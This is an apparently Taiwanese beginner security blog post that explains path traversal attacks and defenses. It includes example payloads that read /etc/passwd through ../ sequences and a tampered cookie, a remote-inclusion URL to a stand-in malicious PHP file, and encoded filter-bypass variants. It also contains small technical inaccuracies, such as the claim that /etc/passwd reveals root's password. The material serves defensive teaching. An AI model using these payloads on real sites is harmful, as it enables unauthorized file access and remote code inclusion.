# 前言
路徑遍歷(Path Traversal)就像想像網站是一個博物館,裡面有許多房間,其中有些房間是 Staff Only 而且門上了鎖不讓訪客進入,但有趣的是博物館裡的每一個房間都有通風口,只要知道房間位置,就可以透過其他房間的通風口前往 Staff Only 的房間獲得所有你想要的資料。
# 釋例
今天想和大家聊聊在網站安全上攻擊者容易執行但卻常被開發者忽略的路徑遍歷(Path Traversal)攻擊,談談關於路徑遍歷在網站安全上可能造成的風險以及如何預防。
通常路徑遍歷也被稱目錄遍歷(Directory Traversal),但他有個更具體而且蠻可愛的名字叫做點點斜線攻擊(Dot dot slash attack),那為什麼會叫這個名字呢?
舉個實際的例子,Linux 中,目錄的顯示是 / Users / hello / Desktop / file,如果使用者輸入 cd ../ 指令時,當前的目錄就會回到上一層,那這會有什麼問題?當這個指令是任一使用者測試在網站 URL 上輸入 ../ 都可以成功執行回到網站目錄上一層的時候問題就大條了,這表示告訴攻擊者,我有路徑遍歷的風險,你可以開始嘗試囉!
# 常見的路徑遍歷攻擊手法
以下拿幾個路徑遍歷的攻擊常見的範例來說明:
假設網址呈現的方式為:
https://www.example.com/get-files?file=report.pdf
而攻擊者在真正的執行路徑遍歷攻擊以前,常會使用絕對路徑遍歷的手法探測目標網站的網站架構,例如說:
https://www.example.com/get-files?file=/etc/passwd
,嘗試以常用的系統絕對路徑試探是否有回應當,當伺服器回應有關網站應用程序中的錯誤的信息時,攻擊者可以更容易猜測正確的位置(例如顯示原始碼的文件路徑)。
# 1.攻擊者嘗試訪問目錄外的路徑:
https://www.example.com/../../../../some dir/some file
攻擊者藉由多次的 ../ 來超脫當前的目錄,訪問不在目錄下的資料。
# 2.攻擊者嘗試讀取目錄中的系統檔案
https://www.example.com/get-files?file=/etc/passwd
攻擊者藉由 /etc/passwd 來嘗試直接讀取系統檔案,如果真的被攻擊者讀取到 /etc/passwd 檔的話,攻擊者很有可能藉此解讀 root user 的密碼,另外,值得一提的是,如果網站架在 Windows 的系統中的話,攻擊者只能訪問Web根目錄所在的磁碟分區,但如果是在 Linux 系統中的話,攻擊者則可以訪問整個磁碟。
# 3.攻擊者嘗試使網站引用外部文件或腳本
https://www.example.com/get-files?file=http://other-site.com/malicius-code.php
攻擊者藉由嘗試將其他網站中的文件包含到當前網站的目錄,讓系統去引用攻擊者的惡意外部文件或腳本,進而達到提權或是竊取機敏資料的目的。
# 4.攻擊者以竄改 HTTP 的請求藉此對伺服器發起攻擊
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
與上列不同的是攻擊者不是經由竄改 URL 而達成路徑遍歷的攻擊,而是藉由竄改 HTTP 的請求以多次的../來超脫當前網站的目錄,使伺服器回應傳送 etc/passwd 解讀 root user 的密碼。
# 變形的路徑遍歷攻擊
在看完上述所說明的攻擊之後,你可能想說那我只要擋掉使用者在我的 URL 以及 HTTP 請求的輸入進行驗證及限制,不允許../的出現,那麼針對路徑遍歷的攻擊也就無用武之地了吧?
一個好消息和一個壞消息告訴你,好消息是你的觀念正確,對URL 以及 HTTP 請求的輸入進行驗證及限制的確是避免路徑遍歷攻擊的應對策略之一,但壞消息是../是有變形的,而且還有很多種變形,其中最常見的變形就是在零基礎資安系列(二)-認識 XSS(Cross-Site Scripting) 中和大家提過的HTML Encoder 會將 %2e%2e%2f
解析為 ../ 繞過針對 ../ 的檢查,除此之外還有 UTF-8 編碼 %c1%1c
會被解析為 / ,以及若是更進階一點的話攻擊者還可能使用 xor 概念,%d0^%ff = /
的編碼方式,繞過限制的字元,如果大家對攻擊者可能使用的進階 injection 有興趣,我之後會再寫一篇文章和大家說明,在這裡主要想告訴大家的是限制字元的輸入是個好的應對策略,但前提是將所有攻擊者可能的攻擊方式全部寫進規則中,否則仍然會使攻擊者有機可趁。
# 如何防禦
上面說了這麼多攻擊者可能的攻擊方式,又表示有那麼多變形的路徑遍歷攻擊,那難道我們對攻擊者就無計可施了嗎?
當然不是!依據我的經驗,針對路徑遍歷攻擊的防禦可以從三個方面來看
1.輸入驗證
針對路徑遍歷攻擊最直覺的防禦就是驗證及限制所有在 URL 以及 HTTP 請求,不允許輸入 ../ 以及其他變形的輸入,這方面的防禦強度會在於網站對於輸入驗證的規則完善度而決定。
2.權限控管
在開發和部署網頁應用程式的時候盡可能的以最小的權限執行,盡可能的刪除所有不常使用或權限過大的使用者並取消 Guest 角色,建立完整的 ACL(Access Control List) ,且確保文件的可讀可寫權限也的確受到控管(例如Linux 系統盡可能不要有權限 777 的文件,這會讓這份文件全世界可讀可寫),這樣的話即使攻擊者成功的查看網頁目錄,也會因為權限問題而導致無法存取文件,最多只能得知網站目錄架構及檔名。
3.資料處理
之所以把資料處裡放在最後一步是因為我認為資料處理是面對攻擊者的最後一道防線,即使攻擊者可以繞過輸入驗證,成功獲得瀏覽目錄的權限,但如果目錄中沒有隱密資料或是將重要資料另外備份在其他的伺服器,例如密碼檔、已經沒有被引用的舊文件、網站備份的資料、Log 紀錄、系統版本紀錄 等,攻擊者在沒有獲得任何有效資料的情況下也只能繼續嘗試其他的攻擊路徑。
# 結論
雖然資料處理是三種防禦中面對攻擊者的最後一道防線,但我認為最重要的防禦還是針對路徑遍歷攻擊的輸入驗證,原因是因為對攻擊者來說,一但發現網站的輸入驗證規則設置周全或是一般常見的手法都沒辦法獲得任何有效的資料時,攻擊者通常會選擇另尋目標,所以我建議的方式會是建立一個針對路徑遍歷攻擊包含 ../ 及 HTML Encoder 編碼規則的輸入驗證會是針對路徑遍歷攻擊首先該做的事,接著才是刪除所有不常使用的使用者權限並且不允許遠端操作,將當前網站目錄中非必要存在的重要檔案另外備份並在當下的目錄中刪除,以上兩件事情可以依據公司的情況做調整,例如帳號權限複雜先不動或重要的檔案位置混亂不好歸納所以先處理權限 等,以公司承擔成本較低的方式自行取捨。
當以上三種防禦都進行之後,即使攻擊者願意花時間嘗試除了一般常見規則的路徑遍歷攻擊外再特別設計攻擊,並且在進入目錄後連一般使用者權限都沒有的情況下嘗試提權,再提權成功後,看著沒有高重要性資料的目錄同常也會感到挫折。
# 延伸閱讀
# 零基礎資安系列(二)- 認識 XSS(Cross-Site Scripting)
# 零基礎資安系列(四)- 認識注入攻擊( Injection Attack)
# 參考資料
# OWASP Path Traversal
# Wikipedia Path Traversal
Tag
Recommendation
Discussion(login required)